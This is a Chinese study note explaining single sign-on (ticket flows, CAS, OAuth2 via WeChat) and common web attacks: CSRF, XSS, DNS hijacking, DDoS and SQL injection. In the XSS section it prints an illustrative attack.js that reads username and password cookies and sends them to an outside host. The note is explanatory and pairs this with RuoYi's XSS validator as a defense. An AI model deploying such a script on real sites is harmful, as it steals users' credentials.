背景
在系统开发初期,系统很少,每个系统都有自己的登录模块,用户直接使用自己的账号进行登录即可。
但当功能不断完善,为了合理利用资源并降低耦合性,往往需要将单系统拆分为多个子系统。
以阿里系的网站为例,一个网站背后有众多的子系统,用户的一次交易或操作往往可能需要十多甚至几十个子系统的协作,如果每个子系统都需要用户进行登录验证,那么用户就需要登录几十次,这显然是不可行的。
那么现在我们面对的情况如下:
-
当前有多个子系统。
-
在任何一个子系统登录后,其他系统均无需再次登录。
-
如何存储证书。
-
如何验证证书。
一个多系统共存的环境下,用户在一处登录后,就不用在其他系统中登录,用户的一次登录能得到其他所有系统的信任,这就是单点登录。
一、什么是单点登录SSO(Single Sign-On)
SSO是一种统一认证和授权机制,指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应用中的安全验证后,再访问其他应用中的受保护资源时,不再需要重新登录验证。
二、单点登录解决了什么问题
解决了用户只需要登录一次就可以访问所有相互信任的应用系统,而不用重复登录。
三、单点登录的技术实现机制
如下图所示:
认证后返回给应用系统而不是用户
注(图片所述存在的问题):单点登录对用户而言是透明的,它 只是保证子系统之间是相互信任的,也就是说用于访问子系统1,被引导到认证系统,得到一个凭据,这个凭据并不是返回给了用户,而是给了子系统1,接着用户 通过子系统1访问子系统2,这次访问会带着刚才的凭据,子系统2收到请求后,发现这次请求有凭据,与是用此凭据到认证系统进行验证,验证合法则准许访问子 系统2,不合法引导到登陆界面。
当用户第一次访问应用系统1的时候,因为还没有登录,会被引导到认证系统中进行登录;根据用户提供的登录信息,认证系统进行身 份效验,如果通过效验,应该返回给用户一个认证的凭据--ticket;用户再访问别的应用的时候,就会将这个ticket带上,作为自己认证的凭据,应 用系统接受到请求之后会把ticket送到认证系统进行效验,检查ticket的合法性(4,6)。如果通过效验,用户就可以在不用再次登录的情况下访问 应用系统2和应用系统3了。
从上图可以看出sso的实现技术点:
1)所有应用系统共享一个身份认证系统。
统一的认证系统是SSO的前提之一。认证系统的主要功能是将用户的登录信息和用户信息库相比较,对用户进行登录认证;认证成功后,认证系统应该生成统一的认证标志(ticket),返还给用户。另外,认证系统还应该对ticket进行效验,判断其有效性。
2)所有应用系统能够识别和提取ticket信息
要实现SSO的功能,让用户只登录一次,就必须让应用系统能够识别已经登录过的用户。应用系统应该能对ticket进行识别和提取,通过与认证系统的通讯,能自动判断当前用户是否登录过,从而完成单点登录的功能。
关于统一身份认证机制:如下图
①用户请求访问业务系统。
②业务系统在系统中查看是否有对应请求的有效令牌,若有,则读取对应的身份信息,允许其访问;若没有或令牌无效,则把用户重定向到统一身份认证平台,并携带业务系统地址,进入第③步。
③在统一身份认证平台提供的页面中,用户输入身份凭证信息,平台验证此身份凭证信息,若有效,则生成一个有效的令牌给用户,进入第④步;若无效,则继续进行认证,直到认证成功或退出为止。
④用户携带第③步获取的令牌,再次访问业务系统。
⑤业务系统获取用户携带的令牌,提交到认证平台进行有效性检查和身份信息获取。
⑥若令牌通过有效性检查,则认证平台会把令牌对应的用户身份信息返回给业务系统,业务系统把身份信息和有效令牌写入会话状态中,允许用户以此身份信息进行业务系统的各种操作;若令牌未通过有效性检查,则会再次重定向到认证平台,返回第③步。
通过统一身份认证平台获取的有效令牌,可以在各个业务系统之间实现应用漫游。
四、单点登录的优点
1)提高用户的效率。
用户不再被多次登录困扰,也不需要记住多个 ID 和密码。另外,用户忘记密码并求助于支持人员的情况也会减少。
2)提高开发人员的效率。
SSO 为开发人员提供了一个通用的身份验证框架。实际上,如果 SSO 机制是独立的,那么开发人员就完全不需要为身份验证操心。他们可以假设,只要对应用程序的请求附带一个用户名,身份验证就已经完成了。
3)简化管理。
如果应用程序加入了单点登录协议,管理用户帐号的负担就会减轻。简化的程度取决于应用程序,因为 SSO 只处理身份验证。所以,应用程序可能仍然需要设置用户的属性(比如访问特权)。
五、单点登录的缺点
1)不利于重构
因为涉及到的系统很多,要重构必须要兼容所有的系统,可能很耗时
2) 无人看守桌面
因为只需要登录一次,所有的授权的应用系统都可以访问,可能导致一些很重要的信息泄露。
六、登录验证分析
单点登录SSO(Single Sign On)说得简单点就是在一个多系统共存的环境下,用户在一处登录后,就不用在其他系统中登录,也就是用户的一次登录能得到其他所有系统的信任。单点登录在 大型网站里使用得非常频繁,例如像阿里巴巴这样的网站,在网站的背后是成百上千的子系统,用户一次操作或交易可能涉及到几十个子系统的协作,如果每个子系 统都需要用户认证,不仅用户会疯掉,各子系统也会为这种重复认证授权的逻辑搞疯掉。实现单点登录说到底就是要解决如何产生和存储那个信任,再就是其他系统 如何验证这个信任的有效性,因此要点也就以下几个:
- 存储信任
- 验证信任
只要解决了以上的问题,达到了开头讲得效果就可以说是SSO。最简单实现SSO的方法就是用Cookie,实现流程如下所示:
不然发现以上的方案是把信任存储在客户端的Cookie里,这种方法虽然实现方便但立马会让人质疑两个问题:
- Cookie不安全
- 不能跨域免登
对于第一个问题一般都是通过加密Cookie来处理,第二个问题是硬伤,其实这种方案的思路的就是要把这个信任关系存储在客户端,要实现这个也不一定只能用Cookie,用flash也能解决,flash的Shared Object API就提供了存储能力。
一般说来,大型系统会采取在服务端存储信任关系的做法,实现流程如下所示:
以上方案就是要把信任关系存储在单独的SSO系统(暂且这么称呼它)里,说起来只是简单地从客户端移到了服务端,但其中几个问题需要重点解决:
- 如何高效存储大量临时性的信任数据
- 如何防止信息传递过程被篡改
- 如何让SSO系统信任登录系统和免登系统
对于第一个问题,一般可以采用类似与memcached的分布式缓存的方案,既能提供可扩展数据量的机制,也能提供高效访问。对于第二个问题,一般 采取数字签名的方法,要么通过数字证书签名,要么通过像md5的方式,这就需要SSO系统返回免登URL的时候对需验证的参数进行md5加密,并带上 token一起返回,最后需免登的系统进行验证信任关系的时候,需把这个token传给SSO系统,SSO系统通过对token的验证就可以辨别信息是否 被改过。对于最后一个问题,可以通过白名单来处理,说简单点只有在白名单上的系统才能请求生产信任关系,同理只有在白名单上的系统才能被免登录。
以上只是提供了些简单的实现技术,但需要强调的是这只是技术实现而已,仅仅是为了解决上面谈到的一些问题,SSO本身来说并不是什么高科技,有了这个认识比较有利于我们深入探索SSO。
参考地址:
http://www.cnblogs.com/yupeng/archive/2012/05/24/2517317.html,
http://blog.csdn.net/cutesource/article/details/5838693
1、使用cookie实现SSO
流程
讲解
将证书存储在客户端的cookie中,十分方便,但也带来两个问题
- cookie的安全性无法保证
对cookie进行加密。
- 跨域问题
强制将多个子系统域名设置成一致。(不太现实)
2、CAS:单点登录解决方案
CAS官网上的标准流程,具体流程如下:
- 用户访问app系统,app系统是需要登录的,但用户现在没有登录。
- 跳转到CAS server,即SSO登录系统。 SSO系统也没有登录,弹出用户登录页。
- 用户填写用户名、密码,SSO系统进行认证后,将登录状态写入SSO的session,浏览器中写入SSO域下的Cookie。
- SSO系统登录完成后会生成一个ST(Service Ticket),然后跳转到app系统,同时将ST作为参数传递给app系统。
- app系统拿到ST后,从后台向SSO发送请求,验证ST是否有效。
- 验证通过后,app系统将登录状态写入session并设置app域下的Cookie。
至此,跨域单点登录就完成了。以后我们再访问app系统时,app就是登录的。接下来,我们再看看访问app2系统时的流程。
- 用户访问app2系统,app2系统没有登录,跳转到SSO。
- 由于SSO已经登录了,不需要重新登录认证。
- SSO生成ST,浏览器跳转到app2系统,并将ST作为参数传递给app2。
- app2拿到ST,后台访问SSO,验证ST是否有效。
- 验证成功后,app2将登录状态写入session,并在app2域下写入Cookie。
这样,app2系统不需要走登录流程,就已经是登录了。SSO,app和app2在不同的域,它们之间的session不共享也是没问题的。
3、OAuth2
优质博客:
CAS的单点登录和oauth2的最大区别(CAS和oauth2区别)
Oauth2是个什么东西?_oauth2是什么_Java鱼仔的博客-CSDN博客(oauth2的具体实现过程)
微信OAuth2.0 登录流程以及安全性分析_一个小码农的进阶之旅的博客-CSDN博客(微信oauth2的实现过程)
主要应用于第三方应用授权登录:在APP或者网页接入一些第三方应用时,时常会需要用户登录另一个合作平台,比如QQ,微博,微信的授权登录,第三方应用通过oauth2方式获取用户信息。
(Open Authorization,开放授权)是为用户资源的授权定义了一个安全、开放及简单的标准,第三方无需知道用户的账号及密码,就可获取到用户的授权信息。
以微信登录为例:
- 用户访问第三方网站,第三方应用需要用户登录验证,用户选择微信授权登录
- 第三方应用发起微信登录授权请求
- 微信服务器拉起用户授权确认页面
- 用户授权通过
- 微信发送请求到第三方应用redirctUrl(第2步填写redirct_uri参数),返回凭证code与state(第2步自定义)
- 第三方应用获取到code之后,根据code获取accessToken
- 根据accessToken获取用户信息
- 对用户信息进行处理(用户是否第一次登录,保存用户信息,自定义token,session处理等)
- 返回结果(步骤1对应url或者重定向到首页)
CSRF跨站请求伪造攻击:
CSRF
全称 Cross Site Request Forgery,跨站点请求伪造
,攻击者通过跨站请求,以合法的用户身份进行非法操作,如转账交易、发表评论等。其核心是利用了浏览器 Cookie
或服务器的 Session
策略,盗取用户的身份信息
在打开 A网站 的情况下,另开 Tab页面 打开恶意 网站B,此时在 B页面 的 恶意意图 下,浏览器发起一个对 网站A 的 HTTP 请求
因为之前 A网站 已经打开了,浏览器存有 A网站 中的 Cookie 或其他用于身份认证的信息,这一次被 恶意意图 的请求,将会自动带上这些信息,这将会导致身份劫持,造成并非本人意愿的操作结果
而对应 CSRF攻击 的防御策略有:表单token、 验证码、Referer 检测 等
CSRF跨站请求伪造攻击是什么?我们怎么防御它呢?_一个小码农的进阶之旅的博客-CSDN博客
XSS攻击:
【Web 安全】XSS 攻击详解_xss攻击_想变厉害的大白菜的博客-CSDN博客
全称跨站脚本攻击 Cross Site Scripting
为了与重叠样式表 CSS 进行区分,所以换了另一个缩写名称 XSS
XSS攻击者通过篡改网页,注入恶意的 HTML 脚本,一般是 javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式
XSS 攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息
就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段 javascript 脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本
当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息 ,甚至是你的账号密码等信息
由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码
// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝 xss攻击 在网络安全中非常的重要
所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行 消毒处理
也就是过滤一些特殊的字符,比如 javascript 脚本中的 <> 进行转移 <> 再进行存储,这样就能有效的进行 xss 攻击的预防
另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie 信息,这样也能有效的防止 XSS 攻击窃取 cookie 内容
若依处理xss攻击方式:
@Xss(message = "公告标题不能包含脚本字符")
@NotBlank(message = "公告标题不能为空")
@Size(min = 0, max = 50, message = "公告标题不能超过50个字符")
public String getNoticeTitle()
{
return noticeTitle;
}
package com.ruoyi.common.core.xss; import javax.validation.Constraint; import javax.validation.Payload; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; /** * 自定义xss校验注解 * * @author ruoyi */ @Retention(RetentionPolicy.RUNTIME) @Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER }) @Constraint(validatedBy = { XssValidator.class }) public @interface Xss { String message() default "不允许任何脚本运行"; Class<?>[] groups() default {}; Class<? extends Payload>[] payload() default {}; }
package com.ruoyi.common.core.xss;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import com.ruoyi.common.core.utils.StringUtils;
/**
* 自定义xss校验注解实现
*
* @author ruoyi
*/
public class XssValidator implements ConstraintValidator<Xss, String>
{
private static final String HTML_PATTERN = "<(\\S*?)[^>]*>.*?|<.*? />";
@Override
public boolean isValid(String value, ConstraintValidatorContext constraintValidatorContext)
{
if (StringUtils.isBlank(value))
{
return true;
}
return !containsHtml(value);
}
public static boolean containsHtml(String value)
{
Pattern pattern = Pattern.compile(HTML_PATTERN);
Matcher matcher = pattern.matcher(value);
return matcher.matches();
}
}
DNS 劫持
当今互联网流量中,以 HTTP/HTTPS 为主的 Web服务 产生的流量占据了绝大部分
Web服务 发展的如火如荼,这背后离不开一个默默无闻的大功臣就是域名解析系统,DNS 提供将域名转换成 ip地址 的服务,每一个域名的解析都要经过 DNS ,所以可以看出它的重要性
正是因为它的重要性,所以 DNS劫持 很容易被别有用心的人利用
早期并没有考虑太多的安全性,所以导致 DNS 很容易被劫持
如果攻击者篡改 DNS解析 设置,将域名由正常 IP 指向由攻击者控制的非法 IP,就会导致我们访问域名打开的却不是对应的网站,而是一个假冒或者别有用心的网站。这种攻击手段就是 DNS劫持
通过 DNS劫持 简单点可以导致用户流失,严重的后果甚至惠将用户诱导至攻击者控制额非法网站,可能会造成银行卡号、手机号码、账号密码等重要信息的泄露
后来出现了 DNSSEC 技术,虽然在一定程度上解决了劫持问题,但是国内并没有太多应用的案例,因此后来阿里、腾讯推出了 httpDNS 服务也一定程度上可以抑制这种攻击手段
另外可以 安装SSL证书。SSL证书具备服务器身份认证功能,可以使DNS 劫持导致的连接错误情况及时被发现和终止
DDOS 攻击
DDOS 全称 Distributed Denial of Service,分布式拒绝服务攻击。是拒绝服务攻击的升级版。拒绝攻击服务其实就是让你的服务不能正常给用户提供服务,也就是俗话说的服务宕机。常用于攻击对外提供服务的服务器,像常见的:Web服务、邮件服务、DNS服务、即时通讯服务 这些等
在早期发起 DoS攻击 是一件很容易的事情,只需要写个程序让服务过载,无暇提供正常服务即可,也就是一秒中请求服务多次,将目标服务器的内存跑崩
后来随着技术对发展,现在的服务器都是分布式,并不是单一服务器提供服务,一个服务背后拥有着是数不清的 CDN节点,也是就拥有着数不清的Web服务器。想靠单台服务器去攻击这种分布式网络,无异于对方以卵击石 ,而且现在很多 DDOS 攻击 都不是免费的,所以很容易造成偷鸡不成蚀把米
防御手段:随着技术发展到今天也并不能完全杜绝这种攻击的出现,只能通过技术去缓解。其中包括:流量清洗、SYN Cookie 等等
SQL 注入
SQL注入
攻击指的是攻击者在HTTP
请求中注入恶意SQL
命令,服务器用请求参数构造数据库SQL
命令时,恶意SQL
被一起构造,并在数据库中执行,以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等敏感的操作,从而导致数据被随意篡改
一文搞懂 XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持_xss攻击和snd_极客飞兔的博客-CSDN博客